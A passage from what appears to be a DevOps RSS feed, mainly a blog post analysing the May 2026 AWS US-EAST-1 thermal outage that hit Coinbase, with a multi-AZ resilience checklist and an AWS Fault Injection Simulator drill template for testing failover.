          📄 IntelliJ IDEA 2026.1.2 Is Out!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-intellij-idea-202612-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>IntelliJ IDEA 2026.1.2 has arrived with several valuable fixes. You can update to this version from inside the IDE, using the Toolbox App, or using snaps if you are a Ubuntu user. You can also downloa</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/05/intellij-idea-2026-1-2"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-new-default-project-structure-for-kotlin-multiplatform" class="group relative scroll-mt-24">
        <a href="#h3-a-new-default-project-structure-for-kotlin-multiplatform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A New Default Project Structure for Kotlin Multiplatform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-new-default-project-structure-for-kotlin-multiplatform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are updating the default project structure for Kotlin Multiplatform projects to give modules clearer responsibilities, better align with conventions used by other build systems and frameworks, and </p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/05/new-kmp-default-structure"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-help-shape-the-future-of-kotlin-in-the-age-of-ai" class="group relative scroll-mt-24">
        <a href="#h3-help-shape-the-future-of-kotlin-in-the-age-of-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Help Shape the Future of Kotlin in the Age of AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-help-shape-the-future-of-kotlin-in-the-age-of-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is rapidly changing the way developers write, review, learn, and maintain code. Code completion, AI chat assistants, autonomous coding agents, and other tools are giving rise to new workflows almos</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/05/help-shape-the-future-of-kotlin-in-the-age-of-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-xai-enters-the-coding-agent-race-with-grok-build" class="group relative scroll-mt-24">
        <a href="#h3-xai-enters-the-coding-agent-race-with-grok-build" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 xAI Enters the Coding Agent Race With Grok Build
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-xai-enters-the-coding-agent-race-with-grok-build"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Elon Musk&#39;s xAI has entered the developer workspace with Grok Build, a local-first coding agent featuring an automated &quot;Arena Mode&quot; that runs and ranks parallel AI outputs to rival Anthropic and OpenA</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/xai-enters-the-coding-agent-race-with-grok-build/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-open-source-procurement-agenda-a-guide-for-it-leaders-procurement-teams-and-policymakers" class="group relative scroll-mt-24">
        <a href="#h3-the-open-source-procurement-agenda-a-guide-for-it-leaders-procurement-teams-and-policymakers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Open Source Procurement Agenda: A Guide for IT Leaders, Procurement Teams and Policymakers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-open-source-procurement-agenda-a-guide-for-it-leaders-procurement-teams-and-policymakers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This five-part series from SUSE’s Sovereign Solutions Team, published ahead of the upcoming EU Tech Sovereignty Package, equips IT leaders, procurement professionals, and policymakers with the practic</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-open-source-procurement-agenda-a-guide-for-it-leaders-procurement-teams-and-policymakers/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When One Data Center Room Got Hot: AWS US-EAST-1, Coinbase, and the DR Drill That Was Not]]></title>
      <link>https://devops.anhp.site/posts/aws-use1-az4-thermal-event-single-az-lessons</link>
      <description><![CDATA[On May 7, 2026, cooling failed in a single hall of one US-EAST-1 data center. Coinbase, FanDuel, and CME Group went down for hours, and Coinbase publicly confirmed their backup systems did not work as expected. Here is what happened, the multi-AZ checklist that would have caught it, and the AWS Fault Injection Simulator commands to run the drill before the next thermal event.]]></description>
      <pubDate>Fri, 15 May 2026 15:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/aws-use1-az4-thermal-event-single-az-lessons</guid>
      <category><![CDATA[AWS]]></category>
      
      <category><![CDATA[AWS]]></category><category><![CDATA[Reliability]]></category><category><![CDATA[Disaster Recovery]]></category><category><![CDATA[Incident Response]]></category><category><![CDATA[Cloud]]></category>
      <content:encoded><![CDATA[<p>At 17:25 PDT on Thursday, May 7, 2026, the cooling in one data center hall inside AWS US-EAST-1 started failing. Temperature climbed. Within minutes, AWS lost power on the affected racks and published the first status update warning that EC2 instances and EBS volumes in <code>use1-az4</code> were impaired. Twenty-plus hours later, at 13:50 PT on May 8, cooling was finally stabilised and most affected resources were recovered.</p>
<p>In between, more than 150 cloud services reported issues. Coinbase&#39;s primary exchange was offline for over five hours during its Q1 earnings day. FanDuel and CME Group both took multi-hour hits to trading. Coinbase&#39;s Head of Platform <a href="https://www.benzinga.com/crypto/26/05/52433912/coinbase-says-aws-cooling-failure-crashed-exchange-during-turbulent-week-ceo-brian-armstrong-calls-it-never-acceptable">stated publicly</a> that the matching engine and Kafka pipeline run pinned to a single AZ to keep latency down, and that the backup systems &quot;did not work as expected during the incident, extending the outage and forcing engineers to manually execute disaster recovery procedures.&quot;</p>
<p>That sentence is the entire post. If you operate anything on AWS that matters, the rest of this article exists to make sure your team is not the one writing that sentence next quarter.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A thermal event in <strong>one hall</strong> of <strong>one data center</strong> in <strong>one AZ</strong> (<code>use1-az4</code>) took down core services at Coinbase, FanDuel, and CME Group for hours. None of those companies are small or sloppy.</li>
<li>Multi-AZ is not a checkbox. It is a property you can only verify by killing an AZ on purpose and confirming everything stays up. AWS provides <a href="https://aws.amazon.com/fis/">Fault Injection Simulator (FIS)</a> to do this safely.</li>
<li>Single-AZ-for-latency is sometimes the right call. If you make that call, the cost is a hot standby that an engineer can promote in under five minutes with no thinking, plus a quarterly drill that proves the promotion actually works.</li>
<li>EBS volumes on physically damaged racks are not recoverable. Cross-AZ snapshots are not optional and are not a substitute for a working replica.</li>
<li>Coinbase&#39;s incident is the textbook example of &quot;we had a DR plan, we just had not run it under realistic single-AZ loss.&quot; That gap is the thing to fix this quarter.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>An AWS account running anything that handles real money or real users.</li>
<li>Permission to create IAM roles and FIS experiment templates, or the ability to ask someone who does.</li>
<li>Honesty about whether the last successful DR drill actually killed a primary, or just took a snapshot.</li>
</ul>
<h2 id="h2-what-happened-technically" class="group relative scroll-mt-24">
        <a href="#h2-what-happened-technically" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What happened, technically
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened-technically"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The official AWS communication during the incident gives the cleanest timeline. AWS first noted the issue at 00:25 UTC on May 8 (<a href="https://www.theregister.com/off-prem/2026/05/08/aws-warns-of-ec2-impairment-as-power-loss-hits-notorious-us-east-1-region/5235509">17:25 PDT May 7</a>). The wording was specific: &quot;EC2 instances and EBS volumes hosted on impacted hardware are affected by the loss of power during the thermal event.&quot; By 01:47 UTC AWS added that &quot;Other AWS services that depend on the affected EC2 instances and EBS volumes in this Availability Zone may also experience impairments,&quot; which is the standard signal that the blast radius is now broader than just compute and block storage.</p>
<p>By 03:06 UTC AWS <a href="https://aws.amazon.com/premiumsupport/technology/pes/">recommended</a> that &quot;customers needing immediate recovery restore from EBS snapshots or launch resources in unaffected zones.&quot; That sentence is the operational tell. AWS was effectively telling the world that recovery in <code>use1-az4</code> was going to take hours and that anyone with a working multi-AZ posture should fail away from it now.</p>
<p>Power was restored progressively, but the EBS volumes on the damaged racks did not all come back. AWS&#39;s status thread for the day used the phrase &quot;subset of EBS volumes will require additional time to recover&quot; for the entire morning of May 8, which in plain English means some volumes were lost to physical damage. The customers who recovered cleanly were the ones whose data plane did not depend on <code>use1-az4</code> at all.</p>
<p>Two technical observations worth pinning to a sticky note:</p>
<ol>
<li><strong>An AZ is not an abstraction.</strong> It is a physical place. When a hall overheats, the racks inside it can be physically damaged. &quot;Multi-AZ&quot; exists because that is the failure mode AWS designs around. The CDR pattern that pretends an AZ is just a logical label is wrong about the world.</li>
<li><strong>The &quot;EBS volumes on damaged hardware&quot; language is the worst-case wording in AWS&#39;s playbook.</strong> It means restore from snapshot, not wait for the volume. If your runbook says &quot;wait for the AZ to come back&quot;, your runbook does not handle this incident.</li>
</ol>
<h2 id="h2-the-coinbase-specifics" class="group relative scroll-mt-24">
        <a href="#h2-the-coinbase-specifics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Coinbase specifics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-coinbase-specifics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://www.coindesk.com/business/2026/05/08/coinbase-disruption-tied-to-aws-outage-draws-criticism-amid-staff-layoffs-and-q1-losses">Coinbase&#39;s Head of Platform, Rob Witoff</a>, confirmed three things during the incident:</p>
<ol>
<li>Coinbase&#39;s primary exchange systems run in a <strong>single AZ</strong> to minimise matching-engine latency.</li>
<li>The affected zone hosted parts of the matching engine and the Kafka messaging infrastructure.</li>
<li>Backup systems &quot;did not work as expected during the incident, extending the outage and forcing engineers to manually execute disaster recovery procedures.&quot;</li>
</ol>
<p>None of those choices are dumb on their own. A matching engine at exchange scale is latency-sensitive and there are real reasons to pin it to one AZ. The problem is that single-AZ-for-latency only survives an <code>use1-az4</code> event if the failover into another AZ is a battle-tested one-button operation that an SRE can trigger in the first five minutes of an alert. Coinbase had a backup. The backup did not work. That gap is what cost them five hours.</p>
<p>The pattern is general enough to be worth a name. Call it the <em>&quot;we have a backup&quot;</em> fallacy: the backup exists, but it has never been promoted to primary under real failure conditions, so nobody knows what breaks when it is. The fix is not to write a longer DR doc. The fix is to actually break things on purpose, on a schedule.</p>
<h2 id="h2-the-multi-az-checklist-that-would-have-caught-it" class="group relative scroll-mt-24">
        <a href="#h2-the-multi-az-checklist-that-would-have-caught-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The multi-AZ checklist that would have caught it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-multi-az-checklist-that-would-have-caught-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A surprising amount of AWS multi-AZ is opt-in. Going through the common stack:</p>
<pre><code class="hljs language-text">                                 +---------------+
                                 |   Route 53    |
                                 |  (health      |
                                 |   checks +    |
                                 |   failover)   |
                                 +-------+-------+
                                         |
                       +-----------------+-----------------+
                       |                                   |
                +------v-------+                   +-------v------+
                |   ALB        |                   |   ALB        |
                |  multi-AZ    |                   |  multi-AZ    |
                |  (zone A)    |                   |  (zone B)    |
                +------+-------+                   +-------+------+
                       |                                   |
            +----------+-----------+              +--------+---------+
            |          |           |              |        |         |
       +----v---+ +----v---+  +----v---+    +-----v--+ +---v----+ +--v-----+
       | EC2/   | | EC2/   |  | EC2/   |    | EC2/   | | EC2/   | | EC2/   |
       |  pod   | |  pod   |  |  pod   |    |  pod   | |  pod   | |  pod   |
       +--------+ +--------+  +--------+    +--------+ +--------+ +--------+
            \________/\__________/                \________/\________/
                    az-1                                  az-2

   RDS Multi-AZ standby in az-2.   S3 + DynamoDB global per region.
   Kafka MSK with min.insync.replicas across 3 AZs, ackS=all.
   Snapshots replicated to a second region nightly.
</code></pre><p>Concrete checks per service:</p>
<ul>
<li><strong>EC2 + Auto Scaling Groups</strong>: ASG must be configured with all three AZs in the region, with <code>availability_zones</code> explicit. <code>Capacity-Optimized-Prioritized</code> allocation. Run <code>aws autoscaling describe-auto-scaling-groups --query &#39;AutoScalingGroups[].[AutoScalingGroupName,AvailabilityZones]&#39;</code> and confirm every critical ASG lists three AZs.</li>
<li><strong>ALB</strong>: cross-zone load balancing on. The default is off for NLB and on for ALB, which is the opposite of what most operators assume. Verify with <code>aws elbv2 describe-load-balancer-attributes --load-balancer-arn $ARN</code>.</li>
<li><strong>RDS</strong>: <code>MultiAZ: true</code> and the reader endpoint actually used by reads. RDS Multi-AZ failover takes <a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.Failover.html">60 to 120 seconds</a>, which is fine for most apps. The trap is apps that hardcode the primary endpoint and never failover the connection pool.</li>
<li><strong>EKS / Kubernetes</strong>: control plane is AWS-managed across three AZs by default. Worker node groups need explicit <code>subnets</code> covering three AZs. <code>kubectl get nodes -o wide</code> and check the topology label <code>topology.kubernetes.io/zone</code> spans three values. PodDisruptionBudgets + <code>topologySpreadConstraints</code> with <code>maxSkew: 1</code> and <code>topologyKey: topology.kubernetes.io/zone</code> for everything that matters.</li>
<li><strong>EBS</strong>: snapshots cross-AZ are automatic. Cross-region snapshot copies via AWS Backup or DLM are not, and are what saves you if a whole region degrades.</li>
<li><strong>MSK (managed Kafka)</strong>: 3-broker cluster across 3 AZs, <code>min.insync.replicas=2</code>, producer <code>acks=all</code>. The Coinbase post-incident language (&quot;matching engine and Kafka messaging infrastructure&quot;) suggests this was one of the failure points. A single-AZ Kafka under heavy producer load is the kind of latency-driven choice that bites.</li>
<li><strong>S3 + DynamoDB</strong>: both are regional, not zonal. They survived <code>use1-az4</code> without operator intervention. If your runbook is built on those primitives, your blast radius is already smaller.</li>
</ul>
<p>A surprising number of teams pass every audit on this list because every individual resource is multi-AZ, then fail in production because one shared piece of infrastructure (a self-hosted Redis, a homegrown service-discovery layer, a quotation engine that holds in-memory state) is single-AZ. The audit script you actually want is the one that walks the dependency graph of your most critical user-facing flow and flags every single-AZ node in it.</p>
<h2 id="h2-the-drill-that-proves-the-checklist" class="group relative scroll-mt-24">
        <a href="#h2-the-drill-that-proves-the-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The drill that proves the checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-drill-that-proves-the-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The checklist above is necessary. It is not sufficient. The only thing that proves multi-AZ works is killing an AZ on purpose and watching the dashboard.</p>
<p>AWS Fault Injection Simulator (FIS) is the tool. The shape of a &quot;kill an AZ&quot; experiment template:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Simulate loss of use1-az4 EC2 capacity&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;roleArn&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;arn:aws:iam::123456789012:role/FISExperimentRole&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;stopConditions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;source&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;aws:cloudwatch:alarm&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;arn:aws:cloudwatch:us-east-1:123456789012:alarm:UserErrorRateHigh&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;EC2Instances-AZ4&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;resourceType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;aws:ec2:instance&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;selectionMode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALL&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;filters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;path&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Placement.AvailabilityZone&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;values&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;use1-az4&quot;</span><span class="hljs-punctuation">]</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;path&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;State.Name&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;values&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;running&quot;</span><span class="hljs-punctuation">]</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;actions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;StopAZ4Instances&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;actionId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;aws:ec2:stop-instances&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;parameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;startInstancesAfterDuration&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PT30M&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;Instances&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;EC2Instances-AZ4&quot;</span> <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;Name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;kill-az4-30min&quot;</span> <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The pattern that matters is the <strong>stop condition tied to a real customer-impact alarm</strong>. The experiment kills every EC2 instance in <code>use1-az4</code> for 30 minutes, but if the user-facing error rate alarm fires (because failover did not work), FIS aborts the experiment and the instances come back. That is the lock that lets you run this in production without ending your career.</p>
<p>Run it on a quarterly cadence. The first time, run it in staging at 09:00 on a Tuesday with the on-call team watching. The second time, run it in production at the same time. By the third time, run it on a Friday afternoon with nobody told in advance. If anything breaks at that point, you have found the thing that would have broken during the next thermal event, and you have found it with a stop-condition you control.</p>
<p>A few additional FIS actions worth chaining into the same template once the basic AZ kill is solid:</p>
<ul>
<li><code>aws:ec2:terminate-instances</code> instead of <code>stop-instances</code> for a more aggressive version that does not allow recovery without replacement.</li>
<li><code>aws:network:disrupt-connectivity</code> with scope <code>availability-zone</code> to simulate the network-partition variant.</li>
<li><code>aws:eks:pod-cpu-stress</code> to layer in worker-node pressure during the AZ failure.</li>
<li><code>aws:rds:failover-db-cluster</code> to deliberately fail an Aurora primary at the same moment.</li>
</ul>
<p>The most realistic single-AZ-failure drill is the one that combines AZ-level EC2 loss with RDS primary failover and 50% packet loss to S3, because that is closer to what happens during an actual hall-overheat event than any single FIS action on its own.</p>
<h2 id="h2-the-single-az-for-latency-exception" class="group relative scroll-mt-24">
        <a href="#h2-the-single-az-for-latency-exception" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The single-AZ-for-latency exception
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-single-az-for-latency-exception"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The honest version of this post acknowledges that single-AZ deployments are sometimes correct. Latency-sensitive trading systems, real-time bidding pipelines, and tight feedback-loop control planes all have cases where the extra 2-4 ms of cross-AZ round-trip is unaffordable.</p>
<p>If that is you, the test is not &quot;are we multi-AZ&quot;, the test is &quot;can we cut over to a hot standby in another AZ in under five minutes with one button&quot;. Concrete requirements:</p>
<ol>
<li>The standby exists and is <strong>continuously receiving traffic</strong>. Not &quot;warm&quot;. Not &quot;pre-provisioned&quot;. Actively serving a small percentage of read traffic at minimum, so its connection pools and caches are not cold.</li>
<li><strong>A documented promotion procedure</strong> that a single on-call engineer can execute from their laptop without consulting anyone. Less than 20 commands. Idempotent. Tested in the quarterly drill.</li>
